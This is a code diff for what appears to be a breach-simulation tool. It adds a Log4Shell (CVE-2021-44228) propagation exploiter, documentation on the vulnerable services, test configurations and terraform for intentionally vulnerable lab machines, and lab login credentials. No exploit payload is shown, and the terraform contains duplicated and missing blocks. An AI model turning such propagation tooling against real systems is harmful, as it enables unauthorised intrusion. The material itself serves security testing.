diff --git a/CHANGELOG.md b/CHANGELOG.md index 61c2a177e..6c5d152a8 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -42,6 +42,15 @@ Changelog](https://keepachangelog.com/en/1.0.0/). ### Security +## [1.13.0] - 2022-01-25 +### Added +- A new exploiter that allows propagation via the Log4Shell vulnerability + (CVE-2021-44228). #1663 + +### Fixed +- Exploiters attempting to start servers listening on privileged ports, + resulting in failed propagation. 8f53a5c + ## [1.12.0] - 2021-10-27 ### Added - A new exploiter that allows propagation via PowerShell Remoting. #1246 diff --git a/docs/content/reference/exploiters/Log4Shell.md b/docs/content/reference/exploiters/Log4Shell.md new file mode 100644 index 000000000..7d532b32e --- /dev/null +++ b/docs/content/reference/exploiters/Log4Shell.md @@ -0,0 +1,37 @@ +--- +title: "Log4Shell" +date: 2022-01-12T14:07:23+05:30 +draft: false +tags: ["exploit", "linux", "windows"] +--- + +The Log4Shell exploiter exploits +[CVE-2021-44228](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44228). + + +### Description + +Some versions of Apache Log4j, a Java logging framework, have a logging feature +called "Message Lookup Substitution" enabled by default. This allows replacing +certain special strings by dynamically-generated strings at the time of +logging. If log messages or log message parameters can be controlled by an +attacker, arbitrary code can be executed. The Log4Shell exploiter takes +advantage of this vulnerability to propagate to a victim machine. + +You can learn more about this vulnerability and potential mitigations +[here](https://logging.apache.org/log4j/2.x/security.html#Fixed_in_Log4j_2.15.0_.28Java_8.29). + + +### Services exploited + +The Infection Monkey will attempt to exploit the Log4Shell vulnerability in the +following services: + +- Apache Solr +- Apache Tomcat +- Logstash + +**Note**: Even if none of these services are running in your environment, +running the Log4Shell exploiter can be a good way to test your IDS/IPS or EDR +solutions. These solutions should detect that the Infection Monkey is attempting +to exploit the Log4Shell vulnerability and raise an appropriate alert. diff --git a/docs/content/setup/aws.md b/docs/content/setup/aws.md index 916889ba6..9b4fc6410 100644 --- a/docs/content/setup/aws.md +++ b/docs/content/setup/aws.md @@ -24,12 +24,7 @@ When ready, you can browse to the Infection Monkey running on the fresh deployme `https://{public-ip}:5000` -You will be presented with a login page. Enter the username **monkey**, and the -new EC2 instance's **instance ID** for your password. To find your instance ID, -go to the EC2 console and select your instance. It should appear in the details -pane below. - -![AWS instance ID](../../images/setup/aws/aws-instance-id.png "AWS instance ID") +To login to the machine, use *ubuntu* username. ## Integration with AWS services diff --git a/docs/content/setup/docker.md b/docs/content/setup/docker.md index 5de3c9fb5..b656476a7 100644 --- a/docs/content/setup/docker.md +++ b/docs/content/setup/docker.md @@ -23,13 +23,13 @@ The Infection Monkey Docker container works on Linux only. It is not compatible 1. Extract the Monkey Island Docker tarball: ```bash - tar -xvzf InfectionMonkey-docker-v1.12.0.tgz + tar -xvzf InfectionMonkey-docker-v1.13.0.tgz ``` 1. Load the Monkey Island Docker image: ```bash - sudo docker load -i InfectionMonkey-docker-v1.12.0.tar + sudo docker load -i InfectionMonkey-docker-v1.13.0.tar ``` ### 2. Start MongoDB diff --git a/docs/content/setup/linux.md b/docs/content/setup/linux.md index c39ec75bc..a1a1ff1a4 100644 --- a/docs/content/setup/linux.md +++ b/docs/content/setup/linux.md @@ -23,18 +23,18 @@ installed, but the ones that we've tested are: - Ubuntu Focal 20.04 - Ubuntu Hirsute 21.04 -On Windows, AppImage can be run in WSL. +On Windows, AppImage can be run in WSL 2. ## Deployment 1. Make the AppImage package executable: ```bash - chmod u+x InfectionMonkey-v1.12.0.AppImage + chmod u+x InfectionMonkey-v1.13.0.AppImage ``` 1. Start Monkey Island by running the Infection Monkey AppImage package: ```bash - ./InfectionMonkey-v1.12.0.AppImage + ./InfectionMonkey-v1.13.0.AppImage ``` 1. Access the Monkey Island web UI by pointing your browser at `https://localhost:5000`. diff --git a/docs/static/images/setup/aws/aws-instance-id.png b/docs/static/images/setup/aws/aws-instance-id.png deleted file mode 100644 index 31c218090..000000000 Binary files a/docs/static/images/setup/aws/aws-instance-id.png and /dev/null differ diff --git a/envs/monkey_zoo/blackbox/config_templates/log4j_logstash.py b/envs/monkey_zoo/blackbox/config_templates/log4j_logstash.py new file mode 100644 index 000000000..9f39a38c7 --- /dev/null +++ b/envs/monkey_zoo/blackbox/config_templates/log4j_logstash.py @@ -0,0 +1,16 @@ +from copy import copy + +from envs.monkey_zoo.blackbox.config_templates.base_template import BaseTemplate +from envs.monkey_zoo.blackbox.config_templates.config_template import ConfigTemplate + + +class Log4jLogstash(ConfigTemplate): + + config_values = copy(BaseTemplate.config_values) + + config_values.update( + { + "basic.exploiters.exploiter_classes": ["Log4ShellExploiter"], + "basic_network.scope.subnet_scan_list": ["10.2.3.55", "10.2.3.56"], + } + ) diff --git a/envs/monkey_zoo/blackbox/config_templates/log4j_solr.py b/envs/monkey_zoo/blackbox/config_templates/log4j_solr.py new file mode 100644 index 000000000..77d513e74 --- /dev/null +++ b/envs/monkey_zoo/blackbox/config_templates/log4j_solr.py @@ -0,0 +1,16 @@ +from copy import copy + +from envs.monkey_zoo.blackbox.config_templates.base_template import BaseTemplate +from envs.monkey_zoo.blackbox.config_templates.config_template import ConfigTemplate + + +class Log4jSolr(ConfigTemplate): + + config_values = copy(BaseTemplate.config_values) + + config_values.update( + { + "basic.exploiters.exploiter_classes": ["Log4ShellExploiter"], + "basic_network.scope.subnet_scan_list": ["10.2.3.49", "10.2.3.50"], + } + ) diff --git a/envs/monkey_zoo/blackbox/config_templates/log4j_tomcat.py b/envs/monkey_zoo/blackbox/config_templates/log4j_tomcat.py new file mode 100644 index 000000000..29a2269a0 --- /dev/null +++ b/envs/monkey_zoo/blackbox/config_templates/log4j_tomcat.py @@ -0,0 +1,16 @@ +from copy import copy + +from envs.monkey_zoo.blackbox.config_templates.base_template import BaseTemplate +from envs.monkey_zoo.blackbox.config_templates.config_template import ConfigTemplate + + +class Log4jTomcat(ConfigTemplate): + + config_values = copy(BaseTemplate.config_values) + + config_values.update( + { + "basic.exploiters.exploiter_classes": ["Log4ShellExploiter"], + "basic_network.scope.subnet_scan_list": ["10.2.3.51", "10.2.3.52"], + } + ) diff --git a/envs/monkey_zoo/blackbox/config_templates/performance.py b/envs/monkey_zoo/blackbox/config_templates/performance.py index 07c7cd79f..eafa82d28 100644 --- a/envs/monkey_zoo/blackbox/config_templates/performance.py +++ b/envs/monkey_zoo/blackbox/config_templates/performance.py @@ -24,6 +24,7 @@ class Performance(ConfigTemplate): "MSSQLExploiter", "PowerShellExploiter", "ZerologonExploiter", + "Log4ShellExploiter", ], "basic_network.network_analysis.inaccessible_subnets": [ "10.2.2.0/30", @@ -57,5 +58,11 @@ class Performance(ConfigTemplate): "10.2.2.23", "10.2.2.24", "10.2.2.25", + "10.2.3.55", + "10.2.3.56", + "10.2.3.49", + "10.2.3.50", + "10.2.3.51", + "10.2.3.52", ], } diff --git a/envs/monkey_zoo/blackbox/gcp_test_machine_list.py b/envs/monkey_zoo/blackbox/gcp_test_machine_list.py index 2cd5a045c..a4dc02447 100644 --- a/envs/monkey_zoo/blackbox/gcp_test_machine_list.py +++ b/envs/monkey_zoo/blackbox/gcp_test_machine_list.py @@ -26,5 +26,11 @@ GCP_TEST_MACHINE_LIST = { "powershell-3-46", "powershell-3-47", "powershell-3-48", + "log4j-logstash-55", + "log4j-logstash-56", + "log4j-solr-49", + "log4j-solr-50", + "log4j-tomcat-51", + "log4j-tomcat-52", ], } diff --git a/envs/monkey_zoo/blackbox/test_blackbox.py b/envs/monkey_zoo/blackbox/test_blackbox.py index 3b74f8961..e6e64d3cc 100644 --- a/envs/monkey_zoo/blackbox/test_blackbox.py +++ b/envs/monkey_zoo/blackbox/test_blackbox.py @@ -11,6 +11,9 @@ from envs.monkey_zoo.blackbox.config_templates.config_template import ConfigTemp from envs.monkey_zoo.blackbox.config_templates.drupal import Drupal from envs.monkey_zoo.blackbox.config_templates.elastic import Elastic from envs.monkey_zoo.blackbox.config_templates.hadoop import Hadoop +from envs.monkey_zoo.blackbox.config_templates.log4j_logstash import Log4jLogstash +from envs.monkey_zoo.blackbox.config_templates.log4j_solr import Log4jSolr +from envs.monkey_zoo.blackbox.config_templates.log4j_tomcat import Log4jTomcat from envs.monkey_zoo.blackbox.config_templates.mssql import Mssql from envs.monkey_zoo.blackbox.config_templates.performance import Performance from envs.monkey_zoo.blackbox.config_templates.powershell import PowerShell @@ -198,7 +201,22 @@ class TestMonkeyBlackbox: TestMonkeyBlackbox.run_exploitation_test(island_client, Weblogic, "Weblogic_exploiter") def test_shellshock_exploiter(self, island_client): - TestMonkeyBlackbox.run_exploitation_test(island_client, ShellShock, "Shellschock_exploiter") + TestMonkeyBlackbox.run_exploitation_test(island_client, ShellShock, "Shellshock_exploiter") + + def test_log4j_solr_exploiter(self, island_client): + TestMonkeyBlackbox.run_exploitation_test( + island_client, Log4jSolr, "Log4Shell_Solr_exploiter" + ) + + def test_log4j_tomcat_exploiter(self, island_client): + TestMonkeyBlackbox.run_exploitation_test( + island_client, Log4jTomcat, "Log4Shell_tomcat_exploiter" + ) + + def test_log4j_logstash_exploiter(self, island_client): + TestMonkeyBlackbox.run_exploitation_test( + island_client, Log4jLogstash, "Log4Shell_logstash_exploiter" + ) def test_tunneling(self, island_client): TestMonkeyBlackbox.run_exploitation_test( diff --git a/envs/monkey_zoo/blackbox/utils/config_generation_script.py b/envs/monkey_zoo/blackbox/utils/config_generation_script.py index f38a48d39..305d71658 100644 --- a/envs/monkey_zoo/blackbox/utils/config_generation_script.py +++ b/envs/monkey_zoo/blackbox/utils/config_generation_script.py @@ -6,6 +6,9 @@ from envs.monkey_zoo.blackbox.config_templates.config_template import ConfigTemp from envs.monkey_zoo.blackbox.config_templates.drupal import Drupal from envs.monkey_zoo.blackbox.config_templates.elastic import Elastic from envs.monkey_zoo.blackbox.config_templates.hadoop import Hadoop +from envs.monkey_zoo.blackbox.config_templates.log4j_logstash import Log4jLogstash +from envs.monkey_zoo.blackbox.config_templates.log4j_solr import Log4jSolr +from envs.monkey_zoo.blackbox.config_templates.log4j_tomcat import Log4jTomcat from envs.monkey_zoo.blackbox.config_templates.mssql import Mssql from envs.monkey_zoo.blackbox.config_templates.performance import Performance from envs.monkey_zoo.blackbox.config_templates.powershell import PowerShell @@ -53,6 +56,9 @@ CONFIG_TEMPLATES = [ WmiPth, Zerologon, Drupal, + Log4jLogstash, + Log4jTomcat, + Log4jSolr, ] diff --git a/envs/monkey_zoo/docs/fullDocs.md b/envs/monkey_zoo/docs/fullDocs.md index a7c523080..682e82fcf 100644 --- a/envs/monkey_zoo/docs/fullDocs.md +++ b/envs/monkey_zoo/docs/fullDocs.md @@ -33,8 +33,14 @@ This document describes Infection Monkey’s test network, how to deploy and use [Nr. 3-46 Powershell](#_Toc536021480)
[Nr. 3-47 Powershell](#_Toc536021481)
[Nr. 3-48 Powershell](#_Toc536021482)
-[Nr. 250 MonkeyIsland](#_Toc536021483)
-[Nr. 251 MonkeyIsland](#_Toc536021484)
+[Nr. 3-49 Log4j Solr](#_Toc536021483)
+[Nr. 3-50 Log4j Solr](#_Toc536021484)
+[Nr. 3-51 Log4j Tomcat](#_Toc536021485)
+[Nr. 3-52 Log4j Tomcat](#_Toc536021486)
+[Nr. 3-55 Log4j Logstash](#_Toc536021487)
+[Nr. 3-56 Log4j Logstash](#_Toc536021488)
+[Nr. 250 MonkeyIsland](#_Toc536021489)
+[Nr. 251 MonkeyIsland](#_Toc536021490)
[Network topography](#network-topography)
# Warning\! @@ -419,7 +425,7 @@ Update all requirements using deployment script:
Notes: -Accessible only trough Nr.9 +Accessible only through Nr.9 @@ -455,7 +461,7 @@ Update all requirements using deployment script:
Notes: -Accessible only trough Nr.10 +Accessible only through Nr.10 @@ -487,7 +493,7 @@ Update all requirements using deployment script:
Notes: -Accessible only trough Nr.10 +Accessible only through Nr.10 @@ -1119,7 +1125,179 @@ Update all requirements using deployment script:
- + + + + + + + + + + + + + + + + + + + + + +

Nr. 250 MonkeyIsland

+

Nr. 3-49 Log4j Solr

+

(10.2.3.49)

(Vulnerable)
OS:Ubuntu 18.04LTS
Software:Apache Solr 8.11.0
Default server’s port:8983
Notes:User: m0nk3y, Password: m0nk3y
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

Nr. 3-50 Log4j Solr

+

(10.2.3.50)

(Vulnerable)
OS:Windows Server 2016 x64
Software:Apache solr 8.11.0
Default server’s port:8983
Notes:User: m0nk3y, Password: Passw0rd!
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

Nr. 3-51 Log4j Tomcat

+

(10.2.3.51)

(Vulnerable)
OS:Ubuntu 18.04LTS
Software:Apache Tomcat 8.0.36
Default server’s port:8080
Notes:
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

Nr. 3-52 Log4j Tomcat

+

(10.2.3.52)

(Vulnerable)
OS:Windows Server 2016 x64
Software:Apache Tomcat 8.0.36
Default server’s port:8080
Notes:User: m0nk3y, Password: Tomcat@22
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +

Nr. 3-55 Log4j Logstash

+

(10.2.3.55)

(Vulnerable)
OS:Ubuntu 18.04LTS
Software:Logstash 5.5.0Java 1.8.0
Default server’s port:9600
Notes:User: logstash
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +

Nr. 3-56 Log4j Logstash

+

(10.2.3.56)

(Vulnerable)
OS:Windows Server 2016 x64
Software:Logstash 5.5.0Java 1.8.0
Default server’s port:9600
Notes:User: m0nk3y, Password: 7;@K"kPTM
+ + + + + + @@ -1143,7 +1321,7 @@ Update all requirements using deployment script:
- +

Nr. 250 MonkeyIsland

(10.2.2.250)

Notes:Only accessible trough GCPOnly accessible through GCP
@@ -1151,7 +1329,7 @@ Update all requirements using deployment script:
- @@ -1175,7 +1353,7 @@ Update all requirements using deployment script:
- +

Nr. 251 MonkeyIsland

+

Nr. 251 MonkeyIsland

(10.2.2.251)

Notes:Only accessible trough GCPOnly accessible through GCP
diff --git a/envs/monkey_zoo/terraform/images.tf b/envs/monkey_zoo/terraform/images.tf index 58a92a99e..a3e2bcb73 100644 --- a/envs/monkey_zoo/terraform/images.tf +++ b/envs/monkey_zoo/terraform/images.tf @@ -72,6 +72,30 @@ data "google_compute_image" "powershell-3-45" { name = "powershell-3-45" project = local.monkeyzoo_project } +data "google_compute_image" "log4j-solr-49" { + name = "log4j-solr-49" + project = local.monkeyzoo_project +} +data "google_compute_image" "log4j-solr-50" { + name = "log4j-solr-50" + project = local.monkeyzoo_project +} +data "google_compute_image" "log4j-tomcat-51" { + name = "log4j-tomcat-51" + project = local.monkeyzoo_project +} +data "google_compute_image" "log4j-solr-50" { + name = "log4j-solr-50" + project = local.monkeyzoo_project +} +data "google_compute_image" "log4j-logstash-55" { + name = "log4j-logstash-55" + project = local.monkeyzoo_project +} +data "google_compute_image" "log4j-logstash-56" { + name = "log4j-logstash-56" + project = local.monkeyzoo_project +} data "google_compute_image" "weblogic-18" { name = "weblogic-18" project = local.monkeyzoo_project diff --git a/envs/monkey_zoo/terraform/monkey_zoo.tf b/envs/monkey_zoo/terraform/monkey_zoo.tf index d1ca528bb..a53c59007 100644 --- a/envs/monkey_zoo/terraform/monkey_zoo.tf +++ b/envs/monkey_zoo/terraform/monkey_zoo.tf @@ -340,6 +340,111 @@ resource "google_compute_instance_from_template" "powershell-3-45" { } } +resource "google_compute_instance_from_template" "powershell-3-45" { + name = "${local.resource_prefix}powershell-3-45" + source_instance_template = local.default_windows + boot_disk{ + initialize_params { + image = data.google_compute_image.powershell-3-45.self_link + } + auto_delete = true + } + network_interface { + subnetwork="${local.resource_prefix}monkeyzoo-main" + network_ip="10.2.3.45" + } +} + +resource "google_compute_instance_from_template" "log4j-solr-49" { + name = "${local.resource_prefix}log4j-solr-49" + source_instance_template = local.default_linux + boot_disk{ + initialize_params { + image = data.google_compute_image.log4j-solr-49.self_link + } + auto_delete = true + } + network_interface { + subnetwork="${local.resource_prefix}monkeyzoo-main" + network_ip="10.2.3.49" + } +} + +resource "google_compute_instance_from_template" "log4j-solr-50" { + name = "${local.resource_prefix}log4j-solr-50" + source_instance_template = local.default_windows + boot_disk{ + initialize_params { + image = data.google_compute_image.log4j-solr-50.self_link + } + auto_delete = true + } + network_interface { + subnetwork="${local.resource_prefix}monkeyzoo-main" + network_ip="10.2.3.50" + } +} + +resource "google_compute_instance_from_template" "log4j-tomcat-51" { + name = "${local.resource_prefix}log4j-tomcat-51" + source_instance_template = local.default_linux + boot_disk{ + initialize_params { + image = data.google_compute_image.log4j-tomcat-51.self_link + } + auto_delete = true + } + network_interface { + subnetwork="${local.resource_prefix}monkeyzoo-main" + network_ip="10.2.3.51" + } +} + +resource "google_compute_instance_from_template" "log4j-tomcat-52" { + name = "${local.resource_prefix}log4j-tomcat-52" + source_instance_template = local.default_windows + boot_disk{ + initialize_params { + image = data.google_compute_image.log4j-tomcat-52.self_link + } + auto_delete = true + } + network_interface { + subnetwork="${local.resource_prefix}monkeyzoo-main" + network_ip="10.2.3.52" + } +} + +resource "google_compute_instance_from_template" "log4j-logstash-55" { + name = "${local.resource_prefix}log4j-logstash-55" + source_instance_template = local.default_linux + boot_disk{ + initialize_params { + image = data.google_compute_image.log4j-logstash-55.self_link + } + auto_delete = true + } + network_interface { + subnetwork="${local.resource_prefix}monkeyzoo-main" + network_ip="10.2.3.55" + } +} + +resource "google_compute_instance_from_template" "log4j-logstash-56" { + name = "${local.resource_prefix}log4j-logstash-56" + source_instance_template = local.default_windows + boot_disk{ + initialize_params { + image = data.google_compute_image.log4j-logstash-56.self_link + } + auto_delete = true + } + network_interface { + subnetwork="${local.resource_prefix}monkeyzoo-main" + network_ip="10.2.3.56" + } +} + /* We need to alter monkey's behavior for this to upload 32-bit monkey instead of 64-bit (not yet developed) resource "google_compute_instance_from_template" "upgrader-17" { name = "${local.resource_prefix}upgrader-17" diff --git a/monkey/common/version.py b/monkey/common/version.py index 5c94adc8d..b3f4a6c2b 100644 --- a/monkey/common/version.py +++ b/monkey/common/version.py @@ -4,7 +4,7 @@ import argparse from pathlib import Path MAJOR = "1" -MINOR = "12" +MINOR = "13" PATCH = "0" build_file_path = Path(__file__).parent.joinpath("BUILD") diff --git a/monkey/infection_monkey/Pipfile b/monkey/infection_monkey/Pipfile index c99bb0db8..728e42a4f 100644 --- a/monkey/infection_monkey/Pipfile +++ b/monkey/infection_monkey/Pipfile @@ -27,8 +27,10 @@ pycryptodome = "*" # Used in common/utils/shellcode_obfuscator.py altgraph = "*" # Required for pyinstaller branch, without it agents fail to build pysmb = "*" "WinSys-3.x" = "*" +ldaptor = "*" [dev-packages] +ldap3 = "*" [requires] python_version = "3.7" diff --git a/monkey/infection_monkey/Pipfile.lock b/monkey/infection_monkey/Pipfile.lock index e037ccd85..ce3ba9c21 100644 --- a/monkey/infection_monkey/Pipfile.lock +++ b/monkey/infection_monkey/Pipfile.lock @@ -1,7 +1,7 @@ { "_meta": { "hash": { - "sha256": "3b8ff927c305bfc92e7a2b3dfc847bba8ae4e7efe11e1babeaf27839df90a84a" + "sha256": "945e6a45bb4d4e87d66a82b788937b323596e4366daa44f743bca6eaf193045d" }, "pipfile-spec": 6, "requires": { @@ -54,12 +54,30 @@ "markers": "python_version >= '3.6'", "version": "==0.1.2" }, + "attrs": { + "hashes": [ + "sha256:2d27e3784d7a565d36ab851fe94887c5eccd6a463168875832a1be79c82828b4", + "sha256:626ba8234211db98e869df76230a137c4c40a12d72445c45d5f5b716f076e2fd" + ], + "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3, 3.4'", + "version": "==21.4.0" + }, + "automat": { + "hashes": [ + "sha256:7979803c74610e11ef0c0d68a2942b152df52da55336e0c9d58daf1831cbdf33", + "sha256:b6feb6455337df834f6c9962d6ccf771515b7d939bca142b29c20c2376bc6111" + ], + "version": "==20.2.0" + }, "bcrypt": { "hashes": [ + "sha256:56e5da069a76470679f312a7d3d23deb3ac4519991a0361abc11da837087b61d", "sha256:5b93c1726e50a93a033c36e5ca7fdcd29a5c7395af50a6892f5d9e7c6cfbfb29", "sha256:63d4e3ff96188e5898779b6057878fecf3f11cfe6ec3b313ea09955d587ec7a7", "sha256:81fec756feff5b6818ea7ab031205e1d323d8943d237303baca2c5f9c7846f34", + "sha256:a0584a92329210fcd75eb8a3250c5a941633f8bfaf2a18f81009b097732839b7", "sha256:a67fb841b35c28a59cebed05fbd3e80eea26e6d75851f0574a9273c80f3e9b55", + "sha256:b589229207630484aefe5899122fb938a5b017b0f4349f769b8c13e78d99a8fd", "sha256:c95d4cbebffafcdd28bd28bb4e25b31c50f6da605c81ffd9ad8a3d1b2ab7b1b6", "sha256:cd1ea2ff3038509ea95f687256c46b79f5fc382ad0aa3664d200047546d511d1", "sha256:cdcdcb3972027f83fe24a48b1e90ea4b584d35f1cc279d76de6fc4b13376239d" @@ -69,19 +87,19 @@ }, "boto3": { "hashes": [ - "sha256:035191ad6c7e8aed972e1374f4e0ecb38767c497fd6c961e4ae33898b62f78fb", - "sha256:cd58563dd3f36d5909815752b12c80a2c510c051474f8296e28dbd3ef5634d65" + "sha256:49499acf3f1dbb5f09eb93abfeb4025cd76fb7880c16a01a2901dfa335496f0d", + "sha256:d2fce99e42cb7cb263f3ff272bc707aa6a66bc6ab30d90bf0ff6cbdddd867cfa" ], "markers": "python_version >= '3.6'", - "version": "==1.20.11" + "version": "==1.20.42" }, "botocore": { "hashes": [ - "sha256:133fa0837762587fb4e5da3fb61ac0b45495cd9fd2d2be7679ba64899da1f3ba", - "sha256:497234f137810909289a600433cec5583ea8dc05a78b644653d76484138d78b9" + "sha256:a58f1e559ff2c65495f55ac48217afefb56f2d709d30f7377c40287e8c5765d0", + "sha256:e2e5509934e634a374afa560de4ddc770bb562c7259cb63cd92aa7e54f943bc1" ], "markers": "python_version >= '3.6'", - "version": "==1.23.11" + "version": "==1.23.42" }, "certifi": { "hashes": [ @@ -155,19 +173,19 @@ }, "charset-normalizer": { "hashes": [ - "sha256:e019de665e2bcf9c2b64e2e5aa025fa991da8720daa3c1138cadd2fd1856aed0", - "sha256:f7af805c321bfa1ce6714c51f254e0d5bb5e5834039bc17db7ebe3a4cec9492b" + "sha256:876d180e9d7432c5d1dfd4c5d26b72f099d503e8fcc0feb7532c9289be60fcbd", + "sha256:cb957888737fc0bbcd78e3df769addb41fd1ff8cf950dc9e7ad7793f1bf44455" ], "markers": "python_version >= '3'", - "version": "==2.0.7" + "version": "==2.0.10" }, "cheroot": { "hashes": [ - "sha256:7ba11294a83468a27be6f06066df8a0f17d954ad05945f28d228aa3f4cd1b03c", - "sha256:f137d03fd5155b1364bea557a7c98168665c239f6c8cedd8f80e81cdfac01567" + "sha256:366adf6e7cac9555486c2d1be6297993022eff6f8c4655c1443268cca3f08e25", + "sha256:62cbced16f07e8aaf512673987cd6b1fc5ad00073345e9ed6c4e2a5cc2a3a22d" ], "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3'", - "version": "==8.5.2" + "version": "==8.6.0" }, "cherrypy": { "hashes": [ @@ -208,6 +226,13 @@ ], "version": "==10.0" }, + "constantly": { + "hashes": [ + "sha256:586372eb92059873e29eba4f9dec8381541b4d3834660707faf8ba59146dfc35", + "sha256:dd2fa9d6b1a51a83f0d7dd76293d734046aa176e384bf6e33b7e44880eb37c5d" + ], + "version": "==15.1.0" + }, "cryptography": { "hashes": [ "sha256:05b3ded5e88747d28ee3ef493f2b92cbb947c1e45cf98cfef22e6d38bb67d4af", @@ -235,11 +260,11 @@ }, "dnspython": { "hashes": [ - "sha256:95d12f6ef0317118d2a1a6fc49aac65ffec7eb8087474158f42f26a639135216", - "sha256:e4a87f0b573201a0f3727fa18a516b055fd1107e0e5477cded4a2de497df1dd4" + "sha256:081649da27ced5e75709a1ee542136eaba9842a0fe4c03da4fb0a3d3ed1f3c44", + "sha256:e79351e032d0b606b98d38a4b0e6e2275b31a5b85c873e587cc11b73aca026d6" ], - "markers": "python_version >= '3.6'", - "version": "==2.1.0" + "markers": "python_version >= '3.6' and python_version < '4'", + "version": "==2.2.0" }, "flask": { "hashes": [ @@ -270,6 +295,13 @@ "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3, 3.4'", "version": "==10.0" }, + "hyperlink": { + "hashes": [ + "sha256:427af957daa58bc909471c6c40f74c5450fa123dd093fc53efd2e91d2705a56b", + "sha256:e6b14c37ecb73e89c77d78cdb4c2cc8f3fb59a885c5b3f819ff4ed80f25af1b4" + ], + "version": "==21.0.0" + }, "idna": { "hashes": [ "sha256:84d9dd047ffa80596e0f246e2eab0b391788b0503584e8945f2368256d2735ff", @@ -301,6 +333,13 @@ "markers": "python_version < '3.9'", "version": "==5.4.0" }, + "incremental": { + "hashes": [ + "sha256:02f5de5aff48f6b9f665d99d48bfc7ec03b6e3943210de7cfc88856d755d6f57", + "sha256:92014aebc6a20b78a8084cdd5645eeaa7f74b8933f70fa3ada2cfbd1e3b54321" + ], + "version": "==21.3.0" + }, "ipaddress": { "hashes": [ "sha256:6e0f4a39e66cb5bb9a137b00276a2eff74f93b71dcbdad6f10ff7df9d3557fcc", @@ -327,27 +366,35 @@ }, "jaraco.collections": { "hashes": [ - "sha256:344d14769d716e7496af879ac71b3c6ebdd46abc64bd9ec21d15248365aa3ac9", - "sha256:6fdf48b6268d44b589a9d7359849f5c4ea6447b59845e489da261996fbc41b79" + "sha256:b04f00bd4b3c4fc4ba5fe1baf8042c0efd192b13e386830ea23fff77bb69dc88", + "sha256:ef7c308d6d7cadfb16b32c7e414d628151ab02b57a5702b9d9a293148c035e70" + ], + "markers": "python_version >= '3.7'", + "version": "==3.5.1" + }, + "jaraco.context": { + "hashes": [ + "sha256:17b909da2fb37ad237ca7ff9523977f8665a47a25b90aec6a99a3e0959c86141", + "sha256:f0d4d82ffbbbff680384eba48a32a3167f12a91a30a7db56fd97b87e73a87241" ], "markers": "python_version >= '3.6'", - "version": "==3.4.0" + "version": "==4.1.1" }, "jaraco.functools": { "hashes": [ - "sha256:0e02358b3d86fab7963b0afa2181211dfa478ced708b057dba9b277bde9142bb", - "sha256:659a64743047d00c6ae2a2aa60573c62cfc0b4b70eaa14fa50c80360ada32aa8" + "sha256:141f95c490a18eb8aab86caf7a2728f02f604988a26dc36652e3d9fa9e4c49fa", + "sha256:31e0e93d1027592b7b0bec6ad468db850338981ebee76ba5e212e235f4c7dda0" ], - "markers": "python_version >= '3.6'", - "version": "==3.4.0" + "markers": "python_version >= '3.7'", + "version": "==3.5.0" }, "jaraco.text": { "hashes": [ - "sha256:901d3468eaaa04f1d8a8f141f54b8887bfd943ccba311fc1c1de62c66604dfe0", - "sha256:d1506dec6485fbaaaedf98b678f1228f639c8d50fbfa12ffc2594cfc495a2476" + "sha256:17b43aa0bd46e97c368ccd8a4c8fef2719ca121b6d39ce4be9d9e0143832479a", + "sha256:a7f9cc1b44a5f3096a216cbd130b650c7a6b2c9f8005b000ae97f329239a7c00" ], "markers": "python_version >= '3.6'", - "version": "==3.6.0" + "version": "==3.7.0" }, "jinja2": { "hashes": [ @@ -383,6 +430,14 @@ ], "version": "==0.9.3" }, + "ldaptor": { + "hashes": [ + "sha256:70521851c74b67b340619fc58bb7105619714e40287309572edb6e86f6d75bd0", + "sha256:8c49eb19375d4aab3e5b835860614e0cb17e56bb5a20e1874808fa5bec67a358" + ], + "index": "pypi", + "version": "==21.2.0" + }, "markupsafe": { "hashes": [ "sha256:01a9b8ea66f1658938f65b93a85ebe8bc016e6769611be228d797c9d998dd298", @@ -476,11 +531,11 @@ }, "more-itertools": { "hashes": [ - "sha256:0a2fd25d343c08d7e7212071820e7e7ea2f41d8fb45d6bc8a00cd6ce3b7aab88", - "sha256:88afff98d83d08fe5e4049b81e2b54c06ebb6b3871a600040865c7a592061cbb" + "sha256:43e6dd9942dffd72661a2c4ef383ad7da1e6a3e968a927ad7a6083ab410a688b", + "sha256:7dc6ad46f05f545f900dd59e8dfb4e84a4827b97b3cfecb175ea0c7d247f6064" ], - "markers": "python_version >= '3.5'", - "version": "==8.11.0" + "markers": "python_version >= '3.6'", + "version": "==8.12.0" }, "msldap": { "hashes": [ @@ -549,68 +604,79 @@ }, "paramiko": { "hashes": [ - "sha256:def3ec612399bab4e9f5eb66b0ae5983980db9dd9120d9e9c6ea3ff673865d1c", - "sha256:e673b10ee0f1c80d46182d3af7751d033d9b573dd7054d2d0aa46be186c3c1d2" + "sha256:04097dbd96871691cdb34c13db1883066b8a13a0df2afd4cb0a92221f51c2603", + "sha256:944a9e5dbdd413ab6c7951ea46b0ab40713235a9c4c5ca81cfe45c6f14fa677b" ], "index": "pypi", - "version": "==2.8.0" + "version": "==2.9.2" + }, + "passlib": { + "hashes": [ + "sha256:aa6bca462b8d8bda89c70b382f0c298a20b5560af6cbfa2dce410c0a2fb669f1", + "sha256:defd50f72b65c5402ab2c573830a6978e5f202ad0d984793c8dde2c4152ebe04" + ], + "version": "==1.7.4" }, "policyuniverse": { "hashes": [ - "sha256:184f854fc716754ff07cd9f601923d1ce30a6826617e7c2b252abebe76746b6d", - "sha256:44145447d473c37ff2776667b5e1018a00c0a493c16a0a489399521b3786a8be" + "sha256:116b808554d7ea75efc97b4cb904085546db45934ef315175cb4755c7a4489de", + "sha256:7440ac520bb791e0318e3d99f9b0e76b7b2b604e7160f1d8341ded060f9ff1cd" ], - "version": "==1.4.0.20210819" + "version": "==1.4.0.20220110" }, "portend": { "hashes": [ - "sha256:4c5a5a05fb31e5df7b73e08e96d55928d8a7f4ae6b4724de3777b06d0e8de693", - "sha256:df891766ee4fd887d83051b5ee9524aaad95a626f56faf5790682b6250ef03b9" + "sha256:239e3116045ea823f6df87d6168107ad75ccc0590e37242af0cc1e98c5d224e4", + 